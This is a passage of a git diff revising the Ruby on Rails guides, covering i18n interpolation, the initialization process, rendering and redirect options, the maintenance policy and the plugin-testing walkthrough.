locale is set via the URL to the pirate locale (`http://localhost:3000?locale=pirate`), the response renders the pirate strings:  @@ -395,21 +405,64 @@ NOTE: You need to restart the server when you add new locale files. You may use YAML (`.yml`) or plain Ruby (`.rb`) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) -### Passing variables to translations +### Passing Variables to Translations + +One key consideration for successfully internationalizing an application is to +avoid making incorrect assumptions about grammar rules when abstracting localized +code. Grammar rules that seem fundamental in one locale may not hold true in +another one. -You can use variables in the translation messages and pass their values from the view. +Improper abstraction is shown in the following example, where assumptions are +made about the ordering of the different parts of the translation. Note that Rails +provides a `number_to_currency` helper to handle the following case. ```erb -# app/views/home/index.html.erb -<%=t 'greet_username', user: "Bill", message: "Goodbye" %> +# app/views/products/show.html.erb +<%= "#{t('currency')}#{@product.price}" %> ``` ```yaml # config/locales/en.yml en: - greet_username: "%{message}, %{user}!" + currency: "$" + +# config/locales/es.yml +es: + currency: "€" ``` +If the product's price is 10 then the proper translation for Spanish is "10 €" +instead of "€10" but the abstraction cannot give it. + +To create proper abstraction, the I18n gem ships with a feature called variable +interpolation that allows you to use variables in translation definitions and +pass the values for these variables to the translation method. + +Proper abstraction is shown in the following example: + +```erb +# app/views/products/show.html.erb +<%= t('product_price', price: @product.price) %> +``` + +```yaml +# config/locales/en.yml +en: + product_price: "$%{price}" + +# config/locales/es.yml +es: + product_price: "%{price} €" +``` + +All grammatical and punctuation decisions are made in the definition itself, so +the abstraction can give a proper translation. + +NOTE: The `default` and `scope` keywords are reserved and can't be used as +variable names. If used, an `I18n::ReservedInterpolationKey` exception is raised. +If a translation expects an interpolation variable, but this has not been passed +to `#translate`, an `I18n::MissingInterpolationArgument` exception is raised. + ### Adding Date/Time Formats OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option - by default the `:default` format is used. @@ -417,7 +470,7 @@ OK! Now let's add a timestamp to the view, so we can demo the **date/time locali ```erb # app/views/home/index.html.erb <h1><%=t :hello_world %></h1> -<p><%= flash[:notice] %></p +<p><%= flash[:notice] %></p> <p><%= l Time.now, format: :short %></p> ``` @@ -449,7 +502,10 @@ You can make use of this feature, e.g. when working with a large amount of stati ### Organization of Locale Files -When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you. +When you are using the default SimpleStore shipped with the i18n library, +dictionaries are stored in plain-text files on the disk. Putting translations +for all parts of your application in one file per locale could be hard to +manage. You can store these files in a hierarchy which makes sense to you. For example, your `config/locales` directory could look like this: @@ -489,7 +545,9 @@ NOTE: The default locale loading mechanism in Rails does not load locale files i Overview of the I18n API Features --------------------------------- -You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth. +You should have a good understanding of using the i18n library now and know how +to internationalize a basic Rails application. In the following chapters, we'll +cover its features in more depth. These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional feature provide by the view helper method). @@ -608,20 +666,6 @@ class BooksController < ApplicationController end ``` -### Interpolation - -In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature. - -All options besides `:default` and `:scope` that are passed to `#translate` will be interpolated to the translation: - -```ruby -I18n.backend.store_translations :en, thanks: 'Thanks %{name}!' -I18n.translate :thanks, name: 'Jeremy' -# => 'Thanks Jeremy!' -``` - -If a translation uses `:default` or `:scope` as an interpolation variable, an `I18n::ReservedInterpolationKey` exception is raised. If a translation expects an interpolation variable, but this has not been passed to `#translate`, an `I18n::MissingInterpolationArgument` exception is raised. - ### Pluralization In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar), [Japanese](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja), [Russian](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or fewer [plural forms](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html). Thus, the I18n API provides a flexible pluralization feature. @@ -761,6 +805,8 @@ en: Then `User.human_attribute_name("gender.female")` will return "Female". +NOTE: If you are using a class which includes `ActiveModel` and does not inherit from `ActiveRecord::Base`, replace `activerecord` with `activemodel` in the above key paths. + #### Error Message Scopes Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account. @@ -770,7 +816,7 @@ This gives you quite powerful means to flexibly adjust your messages to your app Consider a User model with a validation for the name attribute like this: ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord validates :name, presence: true end ``` @@ -1067,7 +1113,7 @@ Conclusion At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project. -If you find anything missing or wrong in this guide, please file a ticket on our [issue tracker](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview). If you want to discuss certain portions or have questions, please sign up to our [mailing list](http://groups.google.com/group/rails-i18n). +If you want to discuss certain portions or have questions, please sign up to the [rails-i18n mailing list](http://groups.google.com/group/rails-i18n). Contributing to Rails I18n @@ -1084,10 +1130,8 @@ Resources --------- * [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list. -* [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n/tree/master) - Code repository for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases. -* [GitHub: i18n](https://github.com/svenfuchs/i18n/tree/master) - Code repository for the i18n gem. -* [Lighthouse: rails-i18n](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview) - Issue tracker for the rails-i18n project. -* [Lighthouse: i18n](http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview) - Issue tracker for the i18n gem. +* [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n) - Code repository and issue tracker for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases. +* [GitHub: i18n](https://github.com/svenfuchs/i18n) - Code repository and issue tracker for the i18n gem. Authors diff --git a/guides/source/initialization.md b/guides/source/initialization.md index 8fbb234698..89e5346d86 100644 --- a/guides/source/initialization.md +++ b/guides/source/initialization.md @@ -3,8 +3,8 @@ The Rails Initialization Process ================================ -This guide explains the internals of the initialization process in Rails -as of Rails 4. It is an extremely in-depth guide and recommended for advanced Rails developers. +This guide explains the internals of the initialization process in Rails. +It is an extremely in-depth guide and recommended for advanced Rails developers. After reading this guide, you will know: @@ -34,7 +34,7 @@ Launch! Let's start to boot and initialize the app. A Rails application is usually started by running `rails console` or `rails server`. -### `railties/bin/rails` +### `railties/exe/rails` The `rails` in the command `rails server` is a ruby executable in your load path. This executable contains the following lines: @@ -45,7 +45,7 @@ load Gem.bin_path('railties', 'rails', version) ``` If you try out this command in a Rails console, you would see that this loads -`railties/bin/rails`. A part of the file `railties/bin/rails.rb` has the +`railties/exe/rails`. A part of the file `railties/exe/rails.rb` has the following code: ```ruby @@ -53,11 +53,11 @@ require "rails/cli" ``` The file `railties/lib/rails/cli` in turn calls -`Rails::AppRailsLoader.exec_app_rails`. +`Rails::AppLoader.exec_app`. -### `railties/lib/rails/app_rails_loader.rb` +### `railties/lib/rails/app_loader.rb` -The primary goal of the function `exec_app_rails` is to execute your app's +The primary goal of the function `exec_app` is to execute your app's `bin/rails`. If the current directory does not have a `bin/rails`, it will navigate upwards until it finds a `bin/rails` executable. Thus one can invoke a `rails` command from anywhere inside a rails application. @@ -86,10 +86,9 @@ The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot `config/boot.rb` contains: ```ruby -# Set up gems listed in the Gemfile. ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) -require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE']) +require 'bundler/setup' # Set up gems listed in the Gemfile. ``` In a standard Rails application, there's a `Gemfile` which declares all @@ -106,6 +105,7 @@ A standard Rails application depends on several gems, specifically: * activemodel * activerecord * activesupport +* activejob * arel * builder * bundler @@ -139,7 +139,8 @@ aliases = { "c" => "console", "s" => "server", "db" => "dbconsole", - "r" => "runner" + "r" => "runner", + "t" => "test" } command = ARGV.shift @@ -156,21 +157,22 @@ snippet. If we had used `s` rather than `server`, Rails would have used the `aliases` defined here to find the matching command. -### `rails/commands/command_tasks.rb` +### `rails/commands/commands_tasks.rb` -When one types an incorrect rails command, the `run_command` is responsible for -throwing an error message. If the command is valid, a method of the same name -is called. +When one types a valid Rails command, `run_command!` a method of the same name +is called. If Rails doesn't recognize the command, it tries to run a Rake task +of the same name. ```ruby -COMMAND_WHITELIST = %(plugin generate destroy console server dbconsole application runner new version help) +COMMAND_WHITELIST = %w(plugin generate destroy console server dbconsole application runner new version help) def run_command!(command) command = parse_command(command) + if COMMAND_WHITELIST.include?(command) send(command) else - write_error_message(command) + run_rake_task(command) end end ``` @@ -354,8 +356,6 @@ private def print_boot_information ... puts "=> Run `rails server -h` for more startup options" - ... - puts "=> Ctrl-C to shutdown server" unless options[:daemonize] end def create_tmp_directories @@ -528,15 +528,17 @@ This file is responsible for requiring all the individual frameworks of Rails: require "rails" %w( - active_record - action_controller - action_view - action_mailer - rails/test_unit - sprockets -).each do |framework| + active_record/railtie + action_controller/railtie + action_view/railtie + action_mailer/railtie + active_job/railtie + action_cable/engine + rails/test_unit/railtie + sprockets/railtie +).each do |railtie| begin - require "#{framework}/railtie" + require "#{railtie}" rescue LoadError end end @@ -555,9 +557,8 @@ I18n and Rails configuration are all being defined here. The rest of `config/application.rb` defines the configuration for the `Rails::Application` which will be used once the application is fully initialized. When `config/application.rb` has finished loading Rails and defined -the application namespace, we go back to `config/environment.rb`, -where the application is initialized. For example, if the application was called -`Blog`, here we would find `Rails.application.initialize!`, which is +the application namespace, we go back to `config/environment.rb`. Here, the +application is initialized with `Rails.application.initialize!`, which is defined in `rails/application.rb`. ### `railties/lib/rails/application.rb` diff --git a/guides/source/kindle/layout.html.erb b/guides/source/kindle/layout.html.erb index f0a286210b..fd8746776b 100644 --- a/guides/source/kindle/layout.html.erb +++ b/guides/source/kindle/layout.html.erb @@ -14,12 +14,12 @@ <% if content_for? :header_section %> <%= yield :header_section %> - <div class="pagebreak"> + <div class="pagebreak"></div> <% end %> <% if content_for? :index_section %> <%= yield :index_section %> - <div class="pagebreak"> + <div class="pagebreak"></div> <% end %> <%= yield.html_safe %> diff --git a/guides/source/kindle/toc.ncx.erb b/guides/source/kindle/toc.ncx.erb index 2c6d8e3bdf..5094fea4ca 100644 --- a/guides/source/kindle/toc.ncx.erb +++ b/guides/source/kindle/toc.ncx.erb @@ -32,12 +32,12 @@ </navPoint> <navPoint class="article" id="credits" playOrder="3"> <navLabel><text>Credits</text></navLabel> - <content src="credits.html"> + <content src="credits.html"/> </navPoint> <navPoint class="article" id="copyright" playOrder="4"> <navLabel><text>Copyright & License</text></navLabel> - <content src="copyright.html"> - </navPoint> + <content src="copyright.html"/> + </navPoint> </navPoint> <% play_order = 4 %> @@ -47,7 +47,7 @@ <text><%= section['name'] %></text> </navLabel> <content src="<%=section['documents'].first['url'] %>"/> - + <% section['documents'].each_with_index do |document, document_no| %> <navPoint class="article" id="_<%=section_no+1%>.<%=document_no+1%>" playOrder="<%=play_order +=1 %>"> <navLabel> diff --git a/guides/source/kindle/welcome.html.erb b/guides/source/kindle/welcome.html.erb index 610a71570f..ef3397f58f 100644 --- a/guides/source/kindle/welcome.html.erb +++ b/guides/source/kindle/welcome.html.erb @@ -2,4 +2,6 @@ <h3>Kindle Edition</h3> -The Kindle Edition of the Rails Guides should be considered a work in progress. Feedback is really welcome. Please see the "Feedback" section at the end of each guide for instructions. +<div> + The Kindle Edition of the Rails Guides should be considered a work in progress. Feedback is really welcome. Please see the "Feedback" section at the end of each guide for instructions. +</div> diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb index 1005057ca9..6db76b528e 100644 --- a/guides/source/layout.html.erb +++ b/guides/source/layout.html.erb @@ -29,14 +29,11 @@ More Ruby on Rails </span> <ul class="more-info-links s-hidden"> - <li class="more-info"><a href="http://rubyonrails.org/">Overview</a></li> - <li class="more-info"><a href="http://rubyonrails.org/download">Download</a></li> - <li class="more-info"><a href="http://rubyonrails.org/deploy">Deploy</a></li> - <li class="more-info"><a href="https://github.com/rails/rails">Code</a></li> - <li class="more-info"><a href="http://rubyonrails.org/screencasts">Screencasts</a></li> - <li class="more-info"><a href="http://rubyonrails.org/documentation">Documentation</a></li> - <li class="more-info"><a href="http://rubyonrails.org/community">Community</a></li> <li class="more-info"><a href="http://weblog.rubyonrails.org/">Blog</a></li> + <li class="more-info"><a href="http://guides.rubyonrails.org/">Guides</a></li> + <li class="more-info"><a href="http://api.rubyonrails.org/">API</a></li> + <li class="more-info"><a href="http://stackoverflow.com/questions/tagged/ruby-on-rails">Ask for help</a></li> + <li class="more-info"><a href="https://github.com/rails/rails">Contribute on GitHub</a></li> </ul> </div> </div> diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md index c57fa358d6..2722789c49 100644 --- a/guides/source/layouts_and_rendering.md +++ b/guides/source/layouts_and_rendering.md @@ -103,34 +103,6 @@ In most cases, the `ActionController::Base#render` method does the heavy lifting TIP: If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser. -#### Rendering Nothing - -Perhaps the simplest thing you can do with `render` is to render nothing at all: - -```ruby -render nothing: true -``` - -If you look at the response for this using cURL, you will see the following: - -```bash -$ curl -i 127.0.0.1:3000/books -HTTP/1.1 200 OK -Connection: close -Date: Sun, 24 Jan 2010 09:25:18 GMT -Transfer-Encoding: chunked -Content-Type: */*; charset=utf-8 -X-Runtime: 0.014297 -Set-Cookie: _blog_session=...snip...; path=/; HttpOnly -Cache-Control: no-cache - -$ -``` - -We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for Ajax requests where all you want to send back to the browser is an acknowledgment that the request was completed. - -TIP: You should probably be using the `head` method, discussed later in this guide, instead of `render :nothing`. This provides additional flexibility and makes it explicit that you're only generating HTTP headers. - #### Rendering an Action's View If you want to render the view that corresponds to a different template within the same controller, you can use `render` with the name of the view: @@ -177,23 +149,22 @@ render template: "products/show" #### Rendering an Arbitrary File -The `render` method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications): - -```ruby -render "/u/apps/warehouse_app/current/app/views/products/show" -``` - -Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the `:file` option (which was required on Rails 2.2 and earlier): +The `render` method can also use a view that's entirely outside of your application: ```ruby render file: "/u/apps/warehouse_app/current/app/views/products/show" ``` -The `:file` option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content. +The `:file` option takes an absolute file-system path. Of course, you need to have rights +to the view that you're using to render the content. + +NOTE: Using the `:file` option in combination with users input can lead to security problems +since an attacker could use this action to access security sensitive files in your file system. NOTE: By default, the file is rendered using the current layout. -TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to render a file, because Windows filenames do not have the same format as Unix filenames. +TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to +render a file, because Windows filenames do not have the same format as Unix filenames. #### Wrapping it up @@ -266,7 +237,7 @@ TIP: This is useful when you're rendering a small snippet of HTML code. However, you might want to consider moving it to a template file if the markup is complex. -NOTE: This option will escape HTML entities if the string is not HTML safe. +NOTE: When using `html:` option, HTML entities will be escaped if the string is not marked as HTML safe by using `html_safe` method. #### Rendering JSON @@ -308,7 +279,7 @@ render body: "raw" ``` TIP: This option should be used only if you don't care about the content type of -the response. Using `:plain` or `:html` might be more appropriate in most of the +the response. Using `:plain` or `:html` might be more appropriate most of the time. NOTE: Unless overridden, your response returned from this render option will be @@ -388,7 +359,6 @@ Rails understands both numeric status codes and the corresponding symbols shown | | 303 | :see_other | | | 304 | :not_modified | | | 305 | :use_proxy | -| | 306 | :reserved | | | 307 | :temporary_redirect | | | 308 | :permanent_redirect | | **Client Error** | 400 | :bad_request | @@ -404,10 +374,10 @@ Rails understands both numeric status codes and the corresponding symbols shown | | 410 | :gone | | | 411 | :length_required | | | 412 | :precondition_failed | -| | 413 | :request_entity_too_large | -| | 414 | :request_uri_too_long | +| | 413 | :payload_too_large | +| | 414 | :uri_too_long | | | 415 | :unsupported_media_type | -| | 416 | :requested_range_not_satisfiable | +| | 416 | :range_not_satisfiable | | | 417 | :expectation_failed | | | 422 | :unprocessable_entity | | | 423 | :locked | @@ -584,7 +554,7 @@ class Admin::ProductsController < AdminController end ``` -The lookup order for a `admin/products#index` action will be: +The lookup order for an `admin/products#index` action will be: * `app/views/admin/products/` * `app/views/admin/` @@ -651,10 +621,13 @@ Another way to handle returning responses to an HTTP request is with `redirect_t redirect_to photos_url ``` -You can use `redirect_to` with any arguments that you could use with `link_to` or `url_for`. There's also a special redirect that sends the user back to the page they just came from: +You can use `redirect_back` to return the user to the page they just came from. +This location is pulled from the `HTTP_REFERER` header which is not guaranteed +to be set by the browser, so you must provide the `fallback_location` +to use in this case. ```ruby -redirect_to :back +redirect_back(fallback_location: root_path) ``` #### Getting a Different Redirect Status Code @@ -726,7 +699,7 @@ This would detect that there are no books with the specified ID, populate the `@ ### Using `head` To Build Header-Only Responses -The `head` method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling `render :nothing`. The `head` method accepts a number or symbol (see [reference table](#the-status-option)) representing a HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header: +The `head` method can be used to send responses with only headers to the browser. The `head` method accepts a number or symbol (see [reference table](#the-status-option)) representing an HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header: ```ruby head :bad_request @@ -810,7 +783,7 @@ The `javascript_include_tag` helper returns an HTML `script` tag for each source If you are using Rails with the [Asset Pipeline](asset_pipeline.html) enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the asset pipeline. -A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the [Asset Organization section in the Asset Pipeline Guide](asset_pipeline.html#asset-organization) +A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the [Asset Organization section in the Asset Pipeline Guide](asset_pipeline.html#asset-organization). You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called `javascripts` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this: @@ -1075,9 +1048,14 @@ One way to use partials is to treat them as the equivalent of subroutines: as a <%= render "shared/footer" %> ``` -Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page. +Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain +content that is shared by many pages in your application. You don't need to see +the details of these sections when you're concentrating on a particular page. -As you already could see from the previous sections of this guide, `yield` is a very powerful tool for cleaning up your layouts. Keep in mind that it's pure ruby, so you can use it almost everywhere. For example, we can use it to DRY form layout definition for several similar resources: +As seen in the previous sections of this guide, `yield` is a very powerful tool +for cleaning up your layouts. Keep in mind that it's pure Ruby, so you can use +it almost everywhere. For example, we can use it to DRY up form layout +definitions for several similar resources: * `users/index.html.erb` @@ -1178,14 +1156,12 @@ To pass a local variable to a partial in only specific cases use the `local_assi * `_articles.html.erb` ```erb - <%= content_tag_for :article, article do |article| %> - <h2><%= article.title %></h2> + <h2><%= article.title %></h2> - <% if local_assigns[:full] %> - <%= simple_format article.body %> - <% else %> - <%= truncate article.body %> - <% end %> + <% if local_assigns[:full] %> + <%= simple_format article.body %> + <% else %> + <%= truncate article.body %> <% end %> ``` diff --git a/guides/source/maintenance_policy.md b/guides/source/maintenance_policy.md index 50308f505a..f99b6ebd31 100644 --- a/guides/source/maintenance_policy.md +++ b/guides/source/maintenance_policy.md @@ -44,7 +44,7 @@ from. In special situations, where someone from the Core Team agrees to support more series, they are included in the list of supported series. -**Currently included series:** `4.2.Z`, `4.1.Z` (Supported by Rafael França). +**Currently included series:** `5.0.Z`. Security Issues --------------- @@ -59,7 +59,7 @@ be built from 1.2.2, and then added to the end of 1-2-stable. This means that security releases are easy to upgrade to if you're running the latest version of Rails. -**Currently included series:** `4.2.Z`, `4.1.Z`. +**Currently included series:** `5.0.Z`, `4.2.Z`. Severe Security Issues ---------------------- @@ -68,7 +68,7 @@ For severe security issues we will provide new versions as above, and also the last major release series will receive patches and new versions. The classification of the security issue is judged by the core team. -**Currently included series:** `4.2.Z`, `4.1.Z`, `3.2.Z`. +**Currently included series:** `5.0.Z`, `4.2.Z`. Unsupported Release Series -------------------------- diff --git a/guides/source/nested_model_forms.md b/guides/source/nested_model_forms.md index 1937369776..71efa4b0d0 100644 --- a/guides/source/nested_model_forms.md +++ b/guides/source/nested_model_forms.md @@ -32,7 +32,7 @@ For an ActiveRecord::Base model and association this writer method is commonly d #### has_one ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord has_one :address accepts_nested_attributes_for :address end @@ -41,7 +41,7 @@ end #### belongs_to ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord belongs_to :firm accepts_nested_attributes_for :firm end @@ -50,7 +50,7 @@ end #### has_many / has_and_belongs_to_many ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord has_many :projects accepts_nested_attributes_for :projects end @@ -106,7 +106,7 @@ Consider the following typical RESTful controller which will prepare a new Perso class PeopleController < ApplicationController def new @person = Person.new - @person.built_address + @person.build_address 2.times { @person.projects.build } end diff --git a/guides/source/plugins.md b/guides/source/plugins.md index 4e630a39f3..8f055f8fe3 100644 --- a/guides/source/plugins.md +++ b/guides/source/plugins.md @@ -17,7 +17,7 @@ After reading this guide, you will know: This guide describes how to build a test-driven plugin that will: * Extend core Ruby classes like Hash and String. -* Add methods to `ActiveRecord::Base` in the tradition of the `acts_as` plugins. +* Add methods to `ApplicationRecord` in the tradition of the `acts_as` plugins. * Give you information about where to put generators in your plugin. For the purpose of this guide pretend for a moment that you are an avid bird watcher. @@ -37,7 +37,7 @@ different rails applications using RubyGems and Bundler if desired. Rails ships with a `rails plugin new` command which creates a skeleton for developing any kind of Rails extension with the ability -to run integration tests using a dummy Rails application. Create your +to run integration tests using a dummy Rails application. Create your plugin with the command: ```bash @@ -54,7 +54,7 @@ Testing Your Newly Generated Plugin ----------------------------------- You can navigate to the directory that contains the plugin, run the `bundle install` command - and run the one generated test using the `rake` command. + and run the one generated test using the `bin/test` command. You should see: @@ -83,13 +83,23 @@ class CoreExtTest < ActiveSupport::TestCase end ``` -Run `rake` to run the test. This test should fail because we haven't implemented the `to_squawk` method: +Run `bin/test` to run the test. This test should fail because we haven't implemented the `to_squawk` method: ```bash - 1) Error: - CoreExtTest#test_to_squawk_prepends_the_word_squawk: - NoMethodError: undefined method `to_squawk' for "Hello World":String - /path/to/yaffle/test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk' +E + +Error: +CoreExtTest#test_to_squawk_prepends_the_word_squawk: +NoMethodError: undefined method `to_squawk' for "Hello World":String + + +bin/test /path/to/yaffle/test/core_ext_test.rb:4 + +. + +Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s. + +2 runs, 1 assertions, 0 failures, 1 errors, 0 skips ``` Great - now you are ready to start development. @@ -117,7 +127,7 @@ String.class_eval do end ``` -To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory. +To test that your method does what it says it does, run the unit tests with `bin/test` from your plugin directory. ```bash 2 runs, 2 assertions, 0 failures, 0 errors, 0 skips @@ -182,7 +192,6 @@ To start out, write a failing test that shows the behavior you'd like: require 'test_helper' class ActsAsYaffleTest < ActiveSupport::TestCase - def test_a_hickwalls_yaffle_text_field_should_be_last_squawk assert_equal "last_squawk", Hickwall.yaffle_text_field end @@ -190,24 +199,37 @@ class ActsAsYaffleTest < ActiveSupport::TestCase def test_a_wickwalls_yaffle_text_field_should_be_last_tweet assert_equal "last_tweet", Wickwall.yaffle_text_field end - end ``` -When you run `rake`, you should see the following: +When you run `bin/test`, you should see the following: ``` - 1) Error: - ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk: - NameError: uninitialized constant ActsAsYaffleTest::Hickwall - /path/to/yaffle/test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' +# Running: + +..E + +Error: +ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet: +NameError: uninitialized constant ActsAsYaffleTest::Wickwall - 2) Error: - ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet: - NameError: uninitialized constant ActsAsYaffleTest::Wickwall - /path/to/yaffle/test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' - 4 runs, 2 assertions, 0 failures, 2 errors, 0 skips +bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8 + +E + +Error: +ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk: +NameError: uninitialized constant ActsAsYaffleTest::Hickwall + + +bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4 + + + +Finished in 0.004812s, 831.2949 runs/s, 415.6475 assertions/s. + +4 runs, 2 assertions, 0 failures, 2 errors, 0 skips ``` This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test. @@ -225,7 +247,7 @@ and migrating the database. First, run: ```bash $ cd test/dummy -$ bin/rake db:migrate +$ bin/rails db:migrate ``` While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act @@ -234,22 +256,22 @@ like yaffles. ```ruby # test/dummy/app/models/hickwall.rb -class Hickwall < ActiveRecord::Base +class Hickwall < ApplicationRecord acts_as_yaffle end # test/dummy/app/models/wickwall.rb -class Wickwall < ActiveRecord::Base +class Wickwall < ApplicationRecord acts_as_yaffle yaffle_text_field: :last_tweet end - ``` We will also add code to define the `acts_as_yaffle` method. ```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb + module Yaffle module ActsAsYaffle extend ActiveSupport::Concern @@ -265,26 +287,43 @@ module Yaffle end end -ActiveRecord::Base.include(Yaffle::ActsAsYaffle) +# test/dummy/app/models/application_record.rb + +class ApplicationRecord < ActiveRecord::Base + include Yaffle::ActsAsYaffle + + self.abstract_class = true +end ``` -You can then return to the root directory (`cd ../..`) of your plugin and rerun the tests using `rake`. +You can then return to the root directory (`cd ../..`) of your plugin and rerun the tests using `bin/test`. ``` - 1) Error: - ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk: - NoMethodError: undefined method `yaffle_text_field' for #<Class:0x007fd105e3b218> - activerecord (4.1.5) lib/active_record/dynamic_matchers.rb:26:in `method_missing' - /path/to/yaffle/test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' +# Running: + +.E + +Error: +ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk: +NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974ebbe9d8> + + +bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4 + +E + +Error: +ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet: +NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974eb8cfc8> + - 2) Error: - ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet: - NoMethodError: undefined method `yaffle_text_field' for #<Class:0x007fd105e409c0> - activerecord (4.1.5) lib/active_record/dynamic_matchers.rb:26:in `method_missing' - /path/to/yaffle/test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' +bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8 - 4 runs, 2 assertions, 0 failures, 2 errors, 0 skips +. +Finished in 0.008263s, 484.0999 runs/s, 242.0500 assertions/s. + +4 runs, 2 assertions, 0 failures, 2 errors, 0 skips ``` Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass. @@ -294,7 +333,7 @@ Getting closer... Now we will implement the code of the `acts_as_yaffle` method module Yaffle module ActsAsYaffle - extend ActiveSupport::Concern + extend ActiveSupport::Concern included do end @@ -308,10 +347,16 @@ module Yaffle end end -ActiveRecord::Base.include(Yaffle::ActsAsYaffle) +# test/dummy/app/models/application_record.rb + +class ApplicationRecord < ActiveRecord::Base + include Yaffle::ActsAsYaffle + + self.abstract_class = true +end ``` -When you run `rake`, you should see the tests all pass: +When you run `bin/test`, you should see the tests all pass: ```bash 4 runs, 4 assertions, 0 failures, 0 errors, 0 skips @@ -329,7 +374,6 @@ To start out, write a failing test that shows the behavior you'd like: require 'test_helper' class ActsAsYaffleTest < ActiveSupport::TestCase - def test_a_hickwalls_yaffle_text_field_should_be_last_squawk assert_equal "last_squawk", Hickwall.yaffle_text_field end @@ -382,10 +426,16 @@ module Yaffle end end 